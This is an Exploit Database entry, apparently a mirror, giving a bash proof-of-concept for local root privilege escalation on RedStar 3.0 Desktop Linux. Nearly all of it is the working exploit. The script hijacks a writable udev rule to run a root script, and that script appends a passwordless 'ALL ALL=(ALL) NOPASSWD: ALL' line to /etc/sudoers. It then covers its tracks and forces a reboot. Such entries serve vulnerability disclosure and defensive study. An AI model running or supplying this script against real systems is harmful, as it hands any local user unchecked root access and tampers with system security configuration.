RedStar 3.0 Desktop – Enable sudo Privilege Escalation

• Exploit Database
• 12 阅读

• 作者： prdelka & ‏sfan55
  日期： 2015-01-11
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/35746/

• #!/bin/bash -e
  
  ## Alternative steps: https://pbs.twimg.com/media/B68inqBIQAA5sK6.png
  ## Proof: https://github.com/HackerFantastic/Public/blob/master/exploits/redstar3.0-localroot.png
  
  cp /etc/udev/rules.d/85-hplj10xx.rules /tmp/udevhp.bak
  echo 'RUN+="/bin/bash /tmp/r00t.sh"' > /etc/udev/rules.d/85-hplj10xx.rules
  cat <<EOF >/tmp/r00t.sh
  echo -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoers
  mv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.rules
  chown 0:0 /etc/udev/rules.d/85-hplj10xx.rules
  rm /tmp/r00t.sh
  EOF
  chmod +x /tmp/r00t.sh
  echo "sudo will be available after reboot"
  sleep 2
  reboot
  
  ## Source: https://twitter.com/sfan55/status/550348619652796416 & http://www.openwall.com/lists/oss-security/2015/01/09/6